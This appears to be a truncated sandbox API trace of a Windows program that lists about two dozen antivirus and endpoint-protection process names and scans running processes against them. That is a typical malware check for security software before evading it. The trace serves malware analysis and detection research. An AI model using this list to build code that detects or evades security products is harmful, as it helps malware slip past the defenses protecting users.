lstrlenA (lpString="tqiffy725810") returned 12 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.749] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.750] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.751] lstrlenA (lpString="user32.dll") returned 10 [0291.752] lstrlenA (lpString="user32.dll") returned 10 [0291.752] lstrlenA (lpString="user32.dll") returned 10 [0291.752] lstrlenA (lpString="user32.dll") returned 10 [0291.752] lstrlenA (lpString="user32.dll") returned 10 [0291.752] lstrlenA (lpString="user32.dll") returned 10 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f700 [0291.752] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484f718 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f728 [0291.752] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0291.752] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f700 | out: hHeap=0x47d0000) returned 1 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x26) returned 0x484f740 [0291.752] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f700 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f770 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f788 [0291.752] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f7a0 [0291.753] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0291.753] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f740 | out: hHeap=0x47d0000) returned 1 [0291.753] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f740 [0291.753] lstrlenA (lpString="MsMpEng.exe") returned 11 [0291.753] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484f758 [0291.753] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f7b8 [0291.753] lstrlenA (lpString="MsMpEng.exe") returned 11 [0291.753] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f740 | out: hHeap=0x47d0000) returned 1 [0291.753] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f740 [0291.753] lstrlenA (lpString="mcshield.exe") returned 12 [0291.753] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484f7d0 [0291.753] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f7e0 [0291.753] lstrlenA (lpString="mcshield.exe") returned 12 [0291.754] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f740 | out: hHeap=0x47d0000) returned 1 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x14) returned 0x484f7f8 [0291.754] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 0x484f740 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 0x484f818 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f828 [0291.754] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0291.754] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7f8 | out: hHeap=0x47d0000) returned 1 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x12) returned 0x484f7f8 [0291.754] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 0x484f840 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f850 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f868 [0291.754] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0291.754] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f7f8 | out: hHeap=0x47d0000) returned 1 [0291.754] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x25) returned 0x484f880 [0291.754] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0291.755] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f7f8 [0291.755] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f8b0 [0291.755] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xb) returned 0x484f8c8 [0291.755] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f8e0 [0291.756] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0291.756] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f880 | out: hHeap=0x47d0000) returned 1 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f880 [0291.756] lstrlenA (lpString="AvastSvc.exe") returned 12 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484f898 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f8f8 [0291.756] lstrlenA (lpString="AvastSvc.exe") returned 12 [0291.756] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f880 | out: hHeap=0x47d0000) returned 1 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x2f) returned 0x484f910 [0291.756] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f880 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x15) returned 0x484f948 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f968 [0291.756] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f980 [0291.758] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0291.758] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f910 | out: hHeap=0x47d0000) returned 1 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x23) returned 0x484f910 [0291.758] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 0x484f998 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x14) returned 0x484f9a8 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484fb28 [0291.758] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0291.758] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f910 | out: hHeap=0x47d0000) returned 1 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484fb88 [0291.758] lstrlenA (lpString="fshoster32.exe") returned 14 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484ffd0 [0291.758] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484fb10 [0291.758] lstrlenA (lpString="fshoster32.exe") returned 14 [0291.758] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb88 | out: hHeap=0x47d0000) returned 1 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484fa08 [0291.759] lstrlenA (lpString="WRSA.exe") returned 8 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484f910 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484fb88 [0291.759] lstrlenA (lpString="WRSA.exe") returned 8 [0291.759] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fa08 | out: hHeap=0x47d0000) returned 1 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x22) returned 0x47d6b18 [0291.759] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484fba0 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f9f0 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xb) returned 0x484fa20 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484fb40 [0291.759] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0291.759] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x47d6b18 | out: hHeap=0x47d0000) returned 1 [0291.759] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484fb58 [0291.759] lstrlenA (lpString="ByteFence.exe") returned 13 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x484f920 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484fb70 [0291.760] lstrlenA (lpString="ByteFence.exe") returned 13 [0291.760] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fb58 | out: hHeap=0x47d0000) returned 1 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x1c) returned 0x47d6b18 [0291.760] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 0x484f930 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x10) returned 0x484fa38 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484fbb8 [0291.760] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0291.760] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x47d6b18 | out: hHeap=0x47d0000) returned 1 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484fa50 [0291.760] lstrlenA (lpString="fmon.exe") returned 8 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x4) returned 0x47d6b18 [0291.760] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484fa08 [0291.760] lstrlenA (lpString="fmon.exe") returned 8 [0291.760] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484fa50 | out: hHeap=0x47d0000) returned 1 [0291.818] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0291.832] Process32First (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.833] lstrcmpiA (lpString1="[System Process]", lpString2="ccSvcHst.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrvx.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="avgsvcx.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrva.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="MsMpEng.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="mcshield.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="avp.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="kavtray.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="egui.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="ekrn.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="bdagent.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="vsserv.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="vsservppl.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="AvastSvc.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="coreServiceShell.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="PccNTMon.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="NTRTScan.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="SAVAdminService.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="SavService.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="fshoster32.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="WRSA.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="vkise.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="isesrv.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="cmdagent.exe") returned -1 [0291.839] lstrcmpiA (lpString1="[System Process]", lpString2="ByteFence.exe") returned -1 [0291.840] lstrcmpiA (lpString1="[System Process]", lpString2="MBAMService.exe") returned -1 [0291.840] lstrcmpiA (lpString1="[System Process]", lpString2="mbamgui.exe") returned -1 [0291.840] lstrcmpiA (lpString1="[System Process]", lpString2="fmon.exe") returned -1 [0291.840] Sleep (dwMilliseconds=0xa) [0291.882] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="ccSvcHst.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="avgcsrvx.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="avgsvcx.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="avgcsrva.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="MsMpEng.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="mcshield.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="avp.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="kavtray.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="egui.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="ekrn.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="bdagent.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="vsserv.exe") returned -1 [0291.883] lstrcmpiA (lpString1="System", lpString2="vsservppl.exe") returned -1 [0291.883] lstrcmpiA (lpString1="System", lpString2="AvastSvc.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="coreServiceShell.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="PccNTMon.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="NTRTScan.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="SAVAdminService.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="SavService.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="fshoster32.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="WRSA.exe") returned -1 [0291.883] lstrcmpiA (lpString1="System", lpString2="vkise.exe") returned -1 [0291.883] lstrcmpiA (lpString1="System", lpString2="isesrv.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="cmdagent.exe") returned 1 [0291.883] lstrcmpiA (lpString1="System", lpString2="ByteFence.exe") returned 1 [0291.884] lstrcmpiA (lpString1="System", lpString2="MBAMService.exe") returned 1 [0291.884] lstrcmpiA (lpString1="System", lpString2="mbamgui.exe") returned 1 [0291.884] lstrcmpiA (lpString1="System", lpString2="fmon.exe") returned 1 [0291.884] Sleep (dwMilliseconds=0xa) [0292.068] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.068] lstrcmpiA (lpString1="smss.exe", lpString2="ccSvcHst.exe") returned 1 [0292.068] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrvx.exe") returned 1 [0292.068] lstrcmpiA (lpString1="smss.exe", lpString2="avgsvcx.exe") returned 1 [0292.068] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrva.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="MsMpEng.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="mcshield.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="avp.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="kavtray.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="egui.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="ekrn.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="bdagent.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="vsserv.exe") returned -1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="vsservppl.exe") returned -1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="AvastSvc.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="coreServiceShell.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="PccNTMon.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="NTRTScan.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="SAVAdminService.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="SavService.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="fshoster32.exe") returned 1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="WRSA.exe") returned -1 [0292.069] lstrcmpiA (lpString1="smss.exe", lpString2="vkise.exe") returned -1 [0292.070] lstrcmpiA (lpString1="smss.exe", lpString2="isesrv.exe") returned 1 [0292.070] lstrcmpiA (lpString1="smss.exe", lpString2="cmdagent.exe") returned 1 [0292.070] lstrcmpiA (lpString1="smss.exe", lpString2="ByteFence.exe") returned 1 [0292.070] lstrcmpiA (lpString1="smss.exe", lpString2="MBAMService.exe") returned 1 [0292.070] lstrcmpiA (lpString1="smss.exe", lpString2="mbamgui.exe") returned 1 [0292.070] lstrcmpiA (lpString1="smss.exe", lpString2="fmon.exe") returned 1 [0292.070] Sleep (dwMilliseconds=0xa) [0292.163] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0292.168] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0292.169] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0292.169] Sleep (dwMilliseconds=0xa) [0292.225] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="ccSvcHst.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrvx.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="avgsvcx.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrva.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="MsMpEng.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="mcshield.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="avp.exe") returned 1 [0292.226] lstrcmpiA (lpString1="wininit.exe", lpString2="kavtray.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="egui.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="ekrn.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="bdagent.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="vsserv.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="vsservppl.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="AvastSvc.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="coreServiceShell.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="PccNTMon.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="NTRTScan.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="SAVAdminService.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="SavService.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="fshoster32.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="WRSA.exe") returned -1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="vkise.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="isesrv.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="cmdagent.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="ByteFence.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="MBAMService.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="mbamgui.exe") returned 1 [0292.227] lstrcmpiA (lpString1="wininit.exe", lpString2="fmon.exe") returned 1 [0292.227] Sleep (dwMilliseconds=0xa) [0292.272] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.273] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0292.273] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0292.273] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0292.273] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0292.273] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0292.273] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0292.274] 